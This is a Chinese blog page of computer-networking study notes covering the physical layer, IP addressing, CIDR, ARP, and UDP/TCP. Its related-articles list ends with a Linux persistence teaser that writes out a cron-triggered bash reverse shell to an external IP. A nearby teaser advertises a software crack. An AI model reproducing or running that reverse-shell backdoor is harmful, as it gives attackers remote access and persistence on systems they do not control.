计算机网络思维导图,快快收藏学习啦!

news2024/11/14 10:58:46

第一章(概述)

在这里插入图片描述

P0 - 计算机网络<思维导图>

第二章(物理层)
在这里插入图片描述

P1 - 计算机网络<思维导图>

便签中的内容:

①香农公式:C=W*Log2(1+S/N) (bit/s)

C:极限传输速率
W:信道带宽(单位Hz)
S:信道内所传信号的平均功率
N:信道内的高斯噪声功率

②ADSL技术:Asymmetric Digital Subscriber Line
非对称数字用户线技术,即用数字技术对现有的模拟电话线进行改造。

③HFC网:Hybrid Fiber Coax
光纤同轴混合网,例如有线电视

④FTTx技术:Fiber To The …
x代表不同的光纤接入地点。
FTTH(光纤到户Home)
FTTC(光纤到路边Curb)
FTTZ(光纤到小区Zone)
FTTB(光纤到大楼Building)
FTTF(光纤到楼层Floor)

第三章(数据链路层)

P2 - 计算机网络<思维导图>

在这里插入图片描述

第四章(网络层)

在这里插入图片描述

P3 - 计算机网络<思维导图>

网络层向上只提供简单灵活的、无连接的、尽最大努力交付的数据报服务。

即网络层不提供服务质量的承诺,可靠通信应当由用户主机来保证。

优点:网络造价大大降低,运行方式灵活,能够适应多种应用。

便签中的内容:

①IP网:许多计算机网络通过一些路由器进行互连,都使用相同的IP协议。

②分类的IP地址:IP地址::={<网络号>,<主机号>}
一个IP地址在整个互联网范围内是唯一的。

③IP地址缺陷:
(1).IP地址空间的利用率有时很低。
(2).给每一个物理网络分配一个网络号会使路由表变得太大而使网络性能变坏。
(3).两级IP地址不够灵活
解决方案:增加“子网号字段”
IP地址::={<网络号>,<子网号>,<主机号>}
划分子网增加了灵活性,但是减少了能连接在网络上的主机总数。

④子网掩码:特点:网络号全为1,子网号全为1,主机号全为0
IP地址AND(与运算)子网掩码=网络地址.

⑤无分类编址CIDR:消除划分子网的概念
IP地址::={<网络前缀>,<主机号>}
斜线记法/CIDR记法:在IP地址后加“/”,然后写上网络前缀所占的位数。相当于子网掩码中比特1的位数.这里叫“掩码”。
网络前缀相同则为同类超网(CIDR地址块)
CIDR记法,10.0.0.0/10可简写为10/10,即将点分十进制中低位连续的0省略。
隐含的给出掩码为255.192.0.0

另一种简化表示方法是在网络前缀后面加一个*,如0000101000*
即星号*之前是网络前缀,*表示IP地址中的主机号,可以是任意值。

⑥物理地址是数据链路层和物理层用的地址
IP地址是网络层和以上各层使用的地址,是一种逻辑地址(IP地址是用软件实现的)。
使用IP地址的IP数据报一旦交给了数据链路层,就被封装成MAC帧了。
MAC帧在传送时使用的源地址和目的地址都是硬件地址,在MAC帧首部。
知道主机或路由器的IP地址,需要找出其相应的硬件地址,即ARP协议要解决的问题。

若是A向B发送数据报,先在其ARP高速缓冲中查找B的IP地址。
若是找到,则查出对应的硬件地址,把这个硬件地址写入MAC帧,通过局域网把该MAC帧发往此硬件地址。

若是没有找到B,A自动运行ARP,按以下步骤找出B的硬件地址:
(1).在本局域网上广播发送一个ARP请求分组,包含自己的IP地址和硬件地址,和B的IP地址。
(2).在本局域网上的所有主机运行的ARP进程都收到此ARP请求分组。
(3).主机B的IP地址与要查询的一致时,收下这个请求分组,并向A发送ARP响应分组。其他主机不理睬。
(4).主机A收到B的相应分组,在其ARP缓存中写入B的IP地址到硬件地址的映射。
为了减少网络通信量,B收到ARP请求分组时,把A的这一地址映射写入自己的ARP高速缓存中,下次B向A发送数据报就很方便了。

关于中间设备:

物理层:转发器

数据链路层:网桥/桥接器

网络层:路由器

网络层以上:网关

第五章(运输层) 在这里插入图片描述

P4 - 计算机网络<思维导图>

便签中的内容:

①UDP是面向报文的。
首部只有8个字节,4个字段中,每个字段长度都是2个字节。
计算检验和时,需要在UDP用户数据报之前加12个字节的伪头部。仅仅为了计算检验和。

②TCP连接属于一种逻辑连接,不是真实存在的.
TCP连接的端点叫套接字(Socket)或插口。
Socket=(IP地址:端口号)
每一条TCP连接唯一地被通信两端的两个端点(即两个套接字)确定。
即TCP连接::={Socket1,Socket2}={(IP1:port1),(IP2:port2)}

③主动发起连接建立的应用进程叫做客户。
被动等待连接建立的应用进程叫做服务器。

④三报文握手,或三次握手.

第六章(应用层)

在这里插入图片描述

P5 - 计算机网络<思维导图>

便签中的内容:

①每个应用层协议都是为了解决某一类应用问题。
应用层的许多协议都基于客户服务器方式。
客户是服务请求方,服务器是服务提供方
②cn 中国 us 美国 uk 英国…

③URL一般形式:<协议>://<主机>:<端口>/<路径>
最常用的协议是HTTP,FTP;主机指该主机在互联网上的域名。三四部分有时可以省略…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/420578.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

graylog实现日志监控

graylog graylog是一个轻量级的日志管理工具,依托elasticsearch作为日志存储中间件,MongoDB作为元数据信息存储中间件.自带WEB-UI界面,LDAP整合各种日志类型.提供了日志收集、日志查询、监控告警等相关功能。提供了graylog sidecar通过sidecar模式可以很方便的收集目标主机、容…

UEFI Protocol

一、概述 二、Protocol的定义 1、Protocol是服务器端和客户端之间的一种约定&#xff0c;在软件编程上称为接口&#xff0c;服务器端和客户端通过这个约定信息的互通。 2、服务器端和客户端在UEFI中都是可执行的二进制文件。 3、为了实现这些二进制文件之间的互通&#xff0c;…

nginx反向代理_负载均衡的配置

说明 两台虚拟机&#xff1a; 88节点是自己的虚拟机 66节点是小组成员的虚拟机&#xff0c;我们暂且叫同学机 tomcat端口&#xff0c;分别为8081和8082 总结就是&#xff1a; 自己虚拟机上面安装nginx和tomcat8082 同学机上安装tomcat8081 一、开始安装nginx&#xff08;只安装…

香港布局Web3.0 既是金融试探,也是未来战略

香港Web3.0协会成立的消息已在业内刷屏&#xff0c;作为跨业界的非盈利机构&#xff0c;该协会致力于促进Web3.0生态环境的建设&#xff0c;港府特首李家超和北京中央驻港联络办公室部分领导均出席了成立典礼。 李家超在致辞中表示&#xff0c;Web3.0的发展正值黄金起点&#x…

Vue随记

1、Vue模板语法 Vue模板语法有两大类&#xff1a; 1.1、插值语法 功能&#xff1a;用于解析标签体内容。 写法&#xff1a;{{xxxx}}&#xff0c;xxxx是js表达式&#xff0c;且可以直接读取到data中的所有属性。 1.2、指令语法 功能&#xff1a;用于解析标签&#xff08;包…

《鸟哥的Linux私房菜-基础篇》学习笔记

主要用来记录学习&#xff0c;如果能帮助到你那最好了。 数据流重导向 概念 cat /etc/crontab /etc/vbirdsay 标准输出&#xff1a;将cat的文件输出到屏幕上 标准错误输出&#xff1a;无法找到文件报错 *系统会将标准输出和标注错误输出都输出到屏幕上&#xff0c;看着比较乱…

Vue双向数据绑定原理

一. Vue双向数据绑定原理 Vue.js的双向绑定是通过响应式原理实现的。响应式原理就是当数据发生改变时&#xff0c;自动更新相关的视图和数据。下面是Vue.js双向绑定的详细解释和介绍&#xff1a; Vue.js通过 Object.defineProperty() 将数据对象的属性值绑定到对应的DOM元素上…

【数据结构启航!】数据结构开胃菜之顺序表

【数据结构启航&#xff01;】数据结构开胃菜之顺序表一、线性表简介二、目标三、实现1、初始化工作2、顺序表的尾插2.1、图解原理2.2、代码实现3、顺序表的尾删3.1、图解原理3.2、代码实现4、打印顺序表5、顺序表的增容6、顺序表的头插6.1、图解原理6.2、代码实现7、顺序表的头…

Javascript cookie和session

在网站中&#xff0c;http请求是无状态的&#xff0c;当我们与服务端做一次数据请求&#xff0c;请求完毕后&#xff0c;第二次数据请求服务器端仍然不知道是哪个用户&#xff0c;cookie的出现就是为了解决这个问题。 一 Session与Cookie的区别 1 相同点 它们都是用于存…

实战打靶集锦-016-lampiao

提示&#xff1a;本文记录了博主打靶过程中一次曲折的提权经历 文章1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 80端口探查4.2 1898端口探查4.3 EXP搜索4.3.1 exploit/unix/webapp/drupal_coder_exec4.3.2 exploit/unix/webapp/drupal_drupalgeddon25. 提权5.1 系统信息…

RayVentory crack,RayVentory扫描引擎

RayVentory crack,RayVentory扫描引擎 RayVentory扫描引擎12.5.3581.73[更新2] libcurl.dll库现在使用Raynet证书进行了签名&#xff0c;为用户增加了额外的安全层。 对设备更新过程进行了显著改进&#xff0c;特别是在同时扫描具有大型数据库的多个设备时。这确保了数据的一致…

雪花算法ID冲突问题与解决方案

分布式部署应用项目采用雪花算法生成ID有冲突问题&#xff1a; 方案一&#xff1a;给应用分配随机 datacenter-id和 worker-id 如下图&#xff1a; global-config:db-config:logic-delete-field: del_flaglogic-delete-value: 1 # 逻辑已删除值(默认为 1)logic-not-delete-…

用友开发者中心应用构建实践指引(二):如何实现入职申请单功能?

用友开发者中心应用构建实践指引&#xff08;二&#xff09;&#xff1a;如何实现入职申请单功能&#xff1f; 在上一篇文章《用友开发者中心应用构建实践指引&#xff01;》中&#xff0c;我们完成了应聘人员信息登记的配置&#xff0c;实现了面试者提交应聘信息&#xff0c;…

内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

【C++ 一】C++ 入门

C 入门 文章目录C 入门前言1 C 初识1.1 第一个C程序1.1.1 创建项目1.1.2 创建文件1.1.3 编写代码1.1.4 运行程序1.2 注释1.3 变量1.4 常量1.5 关键字1.6 标识符命名规则2 数据类型2.1 整型2.2 sizeof 关键字2.3 实型&#xff08;浮点型&#xff09;2.4 字符型2.5 转义字符2.6 字…

appium自动化测试完整项目

前言 Appium是一个开源的自动化测试框架&#xff0c;支持跨平台&#xff0c;支持多种编程语言&#xff0c;可用于原生&#xff0c;混合和移动web应用程序&#xff0c;使用webdriver驱动ios&#xff0c;android应用程序、那么为了学习app自动化测试首要任务肯定就是搭建测试开发…

数据治理的核心框架和六大思维

请点击↑关注、收藏&#xff0c;本博客免费为你获取精彩知识分享&#xff01;有惊喜哟&#xff01;&#xff01; 数据成为新的生产力&#xff0c;必将引发数据生产关系的变革&#xff0c;而数据治理体系就代表着新的生产关系。近日发布的《广东省数据要素市场化配置改革理论研…

尚融宝18-JWT令牌和测试

目录 一、访问令牌的类型 &#xff08;一&#xff09;reference token(透明令牌) &#xff08;二&#xff09;value token(自包含令牌) 二、JWT令牌 &#xff08;一&#xff09;什么是JWT令牌 &#xff08;二&#xff09;JWT令牌的组成 &#xff08;三&#xff09;JWT的…

java 25

练习一: package com.shhfg.ds;public class HelloWorld01 {public static void main(String[] args) {/* 需求&#xff1a;给你一个整数 a如果 a 是一个回文整数&#xff0c;打印true&#xff0c;否则&#xff0c;还回false。解释&#xff1a;回文数是指正序&#xff08;从左到…

kaggle竞赛-Stable Diffusion数据分析与baseline

你的目的是来预测我们生成图像的提示词 1.比赛目标 这个竞赛的目标不是从文本提示生成图像&#xff0c;而是创建一个模型&#xff0c;可以在给定生成图像的情况下预测文本提示&#xff08;你有一堆提示词&#xff0c;你预测是否该提示词参与了图像的生成&#xff09;?您将在…